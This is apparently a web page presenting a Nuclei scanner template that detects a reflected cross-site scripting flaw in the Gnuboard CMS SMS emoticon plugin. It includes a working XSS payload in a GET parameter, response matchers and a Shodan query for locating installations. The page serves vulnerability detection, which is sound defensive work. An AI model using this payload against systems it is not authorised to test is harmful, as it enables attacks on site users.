Gnuboard CMS - Cross-Site Scripting

ID: gnuboard-sms-xss

Severity: medium

Author: gy741

Tags: xss,gnuboard

Description

Gnuboard CMS contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary JavaScript into the responses returned by the server.

YAML Source

id: gnuboard-sms-xss

info:
  name: Gnuboard CMS - Cross-Site Scripting
  author: gy741
  severity: medium
  description: Gnuboard CMS contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary JavaScript into the responses returned by the server.
  reference:
    - https://sir.kr/g5_pds/4788?page=5
    - https://github.com/gnuboard/gnuboard5/commit/8182cac90d2ee2f9da06469ecba759170e782ee3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Gnuboard"
    product: gnuboard5
    vendor: gnuboard
  tags: xss,gnuboard

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugin/sms5/ajax.sms_emoticon.php?arr_ajax_msg=gnuboard<svg+onload=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"0nuboard<svg onload=alert(document.domain)>"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008ec848d0db194d823d2489a0f2ce4a1252332467e04601c99ae63c39857c62e102206003fbd736b33305083848192c6a3bdfe4969aad1cf05d805b5ca211de7a3588:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/gnuboard/gnuboard-sms-xss.yaml"

View on Github